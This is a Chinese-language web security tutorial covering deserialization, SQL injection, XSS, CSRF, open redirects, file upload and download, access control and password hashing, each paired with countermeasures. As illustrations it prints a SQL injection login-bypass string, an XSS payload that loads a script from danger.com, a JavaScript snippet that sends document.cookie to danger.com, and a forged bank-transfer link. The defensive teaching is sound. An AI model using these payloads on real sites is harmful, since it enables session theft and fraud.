Web安全实践

1,027 阅读10分钟

前言

安全无小事,成败在细节,网络有风险,灾难弹指间。

安全一般情况下看不见,在你周围漂浮着,显现出来后,往往会刻骨铭心。正因为安全看不见,所以往往不受重视,因为感知到的概率真的太低,用户的第一感知是他看得见、摸得着、嗅得到、品得出的东西,实实在在的东西,而不是那种虚无缥缈的东西,我们对概率低的东西往往默认选择忽略。

编码安全

反序列化命令执行

暴露或间接暴露反序列化API,导致用户可以操作传入数据,攻击者可以精心构造反序列化对象并执行恶意代码。

最典型的就是fastjson了,有一段时间,fastjson被爆出过多次存在漏洞,很多文章报道了这件事儿,并且给出了升级建议。fastjson在反序列化时会调用目标类的setter方法,那么如果黑客在JdbcRowSetImpl的dataSourceName中设置了一个想要执行的命令,那么就会导致很严重的后果远程命令执行漏洞,即利用漏洞入侵到目标服务器,通过服务器执行命令。

所以针对这种开源框架及工具包,建议使用最新版本,避免被不法分子钻漏洞。

SQL 注入

SQL注入漏洞是由于Web应用程序没有对用户输入数据的合法性进行判断,攻击者通过Web页面的输入区域(如URL、表单等) ,用精心构造的SQL语句插入特殊字符和指令,通过和数据库交互获得私密信息或者篡改数据库信息。SQL注入攻击在Web攻击中非常流行,攻击者可以利用SQL注入漏洞获得管理员权限,在网页上加挂木马和各种恶意程序,盗取企业和用户敏感信息。

比如登录的时候,用户输入了“admin' or 1=1 --”,

漏洞代码:select * from user where username='${username}' and password=‘${password}'
SQL 执行:select * from user where username=' admin' or 1=1 -- ' and password=null

防范措施

  • 使用预处理执行SQL语句
  • 如果使用的是MyBatis,那么所有的变量必须使用#符号;如果特殊应用必须使用$的情况,必须确保变量完全来源于系统内部或代码定义好的固定常量
  • 对于Order by或者表名、字段名等不能使用预处理的情况,研发人员可以在java层面做映射来进行解决

跨站 XSS(Cross-site scripting)

跨站脚本攻击发生在客户端,可被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。

攻击者利用应用程序的动态展示数据功能,在html页面里嵌入恶意代码(如:“”)。当用户浏览该页之时,这些嵌入在html中的恶意代码会被执行,用户浏览器被攻击者控制,从而达到攻击者的特殊目的。

一个钓鱼欺骗的例子,比如论坛里面有人回复了一条消息,假设用户贴了一张图片,src如下,

http://xxx.com/a.jpg\"\u003c/script\u003e\u003cscript type='text/javascript' src='http://danger.com/xxx.js' /\u003e"
其中“\u003c”对应“<”,“\u003e”对应“>”

一个盗取cookie的例子,同源策略不限制img标签,img可能是恶意网址的链接,那么可以构造一个看不见的img,然后把用户的cookie发送到恶意网址的服务器

var img=document.createElement("img");
img.src="http://danger.com/cookie=?"+escape(document.cookie);
document.body.appendChild(img);

安全编码建议,Java侧需要对非富文本采用escape转义,富文本采用owasp antisamy;在javascript内容中输出的“用户可控数据”,需要做javascript escape转义”,同时如果可以的话,给网站设置一个跳转的白名单。

Java代码如下

import cn.hutool.core.util.EscapeUtil;
import org.owasp.validator.html.AntiSamy;
import org.owasp.validator.html.CleanResults;
import org.owasp.validator.html.Policy;

public class Test {

    public static void main(String[] args) {
        String str = "abc<script>alert(\"hello\")</script>def";

        // 非富文本采用escape转义
        System.out.println("EscapeUtil:" + EscapeUtil.escape(str));

        // 富文本采用owasp antisamy
        AntiSamy antiSamy = new AntiSamy();
        try {
            Policy policy = Policy.getInstance(Test.class.getClassLoader()
                    .getResourceAsStream("antisamy-anythinggoes.xml"));
            CleanResults results = antiSamy.scan(str, policy);
            System.out.println("AntiSamy:" + results.getCleanHTML());
        } catch (Exception e) {
            e.printStackTrace();
        }

    }

}

跨站请求伪造 CSRF(Cross-site request forgery)

攻击者在用户浏览网页时,利用页面元素(例如img的src),强迫受害者的浏览器向Web应用程序发送一个改变用户信息的请求。

比如一个用户的会话cookie在浏览器没有关闭的时候,是不会被删除的,所以可以换个思路,不再去偷这个cookie了,相反,可以在web.com中构造一个领奖页面,里面包含一个连接,让用户去点击,例如:

恭喜你获得了iPhoneX一台,快来<a href="www.icbc.com.cn/transfer?toBankId=黑客的账户&money=金额">领取吧</a>

这得先知道icbc.com.cn的转账操作的url和参数名称。 如果这个用户恰好登录了icbc.com,那他的cookie还在,当他禁不住诱惑,点了这个链接后,一个转账操作就神不知鬼不觉的发生了。

防范措施

  • 用户登陆时,设置一个CSRF的随机TOKEN,同时后续都在请求后面带上这个TOKEN
  • 生成表单的同时,推送TOKEN值。表单提交,判断token是否一致,如果不一致或没有这个值,判断为CSRF攻击,并记录日志 ,如一致就放行,并重新生成下一个新的token
  • 重要操作增加二次图片验证码或滑动验证码等
  • 致命操作使用二次密码验证或人脸识别等

URL跳转

Web应用程序接收到用户提交的URL参数后,没有对参数做“可信任URL”的验证,就向用户浏览器返回跳转到该URL的指令。一般发生在登录授权的回调地址那里。

防范措施,添加跳转白名单,判断目的地址是否在白名单列表中,如果不在列表中,就判定为URL跳转攻击。

文件安全

任意文件上传

文件上传漏洞通常由于网页代码中的文件上传路径变量过滤不严造成的,如果文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,攻击者可通过 Web 访问的目录上传任意文件,包括网站后门文件(webshell),进而远程控制网站服务器。

防范措施

  • 检查上传文件扩展名白名单,不属于白名单内,不允许上传。
  • 上传文件的目录必须是http请求无法直接访问到的。如果需要访问的,必须上传到其他(和web服务器不同的)域名下,并设置该目录为不解析jsp等脚本语言的目录。
  • 图片上传,要通过处理(缩略图、水印等),无异常后才能保存到服务器。

任意文件下载

处理用户请求下载文件时,允许用户提交任意文件路径,并把服务器上对应的文件直接发送给用户,这将造成任意文件下载威胁。如果让用户提交文件目录地址,就把目录下的文件列表发给用户,会造成目录遍历安全威胁。

防范措施

  • 文件路径保存至数据库,让用户提交文件对应ID下载文件
  • 下载文件之前做权限判断
  • 不允许提供目录遍历服务

权限安全

垂直权限安全/纵向越权

由于应用程序没有做鉴权,或鉴权做的比较粗,导致的恶意用户可以通过穷举遍历管理页面的URL,就可以访问或控制其他角色拥有的数据或管理功能,达到权限提升目的。

可以采用细粒度鉴权策略,判断当前用户是否拥有功能的权限。

水平权限安全/横向越权

应用程序根据用户提交的ID(如订单id、用户id、商品id等),在没有校验身份的情况下,直接返回用户信息,从而会造成攻击者越权遍历所有其他用户信息的问题。

涉及到用户数据的操作应进行严格的身份校验,可以从服务端登录态cookie或session信息中取值校验,禁止通过用户提交的ID信息直接进行数据操作。

信息安全

密码

过去一段时间来, 众多的网站遭遇用户密码数据库泄露事件。层出不穷的类似事件对用户会造成巨大的影响,因为人们往往习惯在不同网站使用相同的密码,一家 “暴库”,全部遭殃。

在用户设置密码时,需要校验密码的强度,要数字、密码、特殊符号,且6位以上。

同时在网络传输上,也要注意进行加密传输。

在密码的存储上,一定不能存储明文,需要进行加密存储,这其中经过一系列的存储加密升级。

单纯的MD5或sha算法加密,看起来很安全,没法被破解,但是有了字典表/彩虹表破解的手段,破解出来就是很简单的事了,具体可以看MD5 解密查询的网站上,如果你的密码很简单,加密后的 MD5 密文都能反查出原始密码来。

早期为了改进单向hash的缺陷,为了让彩虹表失效,引入了盐,盐是随机生成的一个唯一字符串,连在明文密码后增强密码的随机性,然后再做hash得到的加密密文存储在db中,这样一个是相同的密码存在db中的值就不同了,另一个是彩虹表也不会再起作用了。但是同样以目前计算机的算力,暴力破解也是分分钟的事情。

PBKDF2/BCrypt/SCrypt 算法,这几种算法有一个特点,算法中都有个因子,用于指明计算密码摘要所需要的资源和时间,也就是计算强度。计算强度越大,攻击者建立rainbow table越困难,以至于不可继续。这类算法也可以保证即使计算能力不断提高,只要调整算法中的强度因子,密码仍然不可能被轻易的攻破。

个人敏感信息

典型的如用户的身份证跟手机号,现在很多网站,只要一个身份证跟手机号,就拥有了很多权限,对于这部分信息的存储,也需要注意加密,且不能只使用简单的加密算法,特别不要将编码(如Base64)和密码算法混为一谈,前者不是密码算法。不要使用DES等低强度的密码算法,使用AES等高强度的加密算法。

验证码安全

登陆、注册、短信验证、邮件验证等api往往会成为攻击者撞库、轰炸的目标。 在登陆、注册、短信发送、邮件发送必须加入图片验证码,同时验证码必须设置有效期和有效次数(一般为一次性),使用短信、邮件验证时,必须限制同一ID或接收者的验证码发送频率。

参考资料